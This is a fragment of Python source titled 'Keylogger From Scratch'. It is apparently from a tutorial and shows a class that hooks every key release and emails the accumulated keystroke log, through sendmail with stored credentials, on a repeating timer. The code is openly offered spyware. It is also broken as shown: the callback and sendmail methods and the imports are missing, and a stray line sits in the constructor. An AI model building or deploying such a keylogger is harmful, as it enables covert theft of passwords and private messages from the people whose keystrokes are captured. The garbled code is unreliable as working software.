Keylogger From Scratch
Keylogger From Scratch
class Keylogger:
def __init__(self, interval):
# we gonna pass SEND_REPORT_EVERY to interval
self.interval = interval
# this is the string variable that contains the log of all
# the keystrokes within `self.interval`
self.log = ""
# for blocking after setting the on_release listener
self.semaphore = Semaphore(0)
self.log += name
def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
# can print to a file, whatever you want
# print(self.log)
self.log = ""
Timer(interval=self.interval, function=self.report).start()
def start(self):
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# block the current thread,
# since on_release() doesn't block the current thread
# if we don't block it, when we execute the program, nothing will happen
# that is because on_release() will start the listener in a separate thread
self.semaphore.acquire()
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY)
keylogger.start()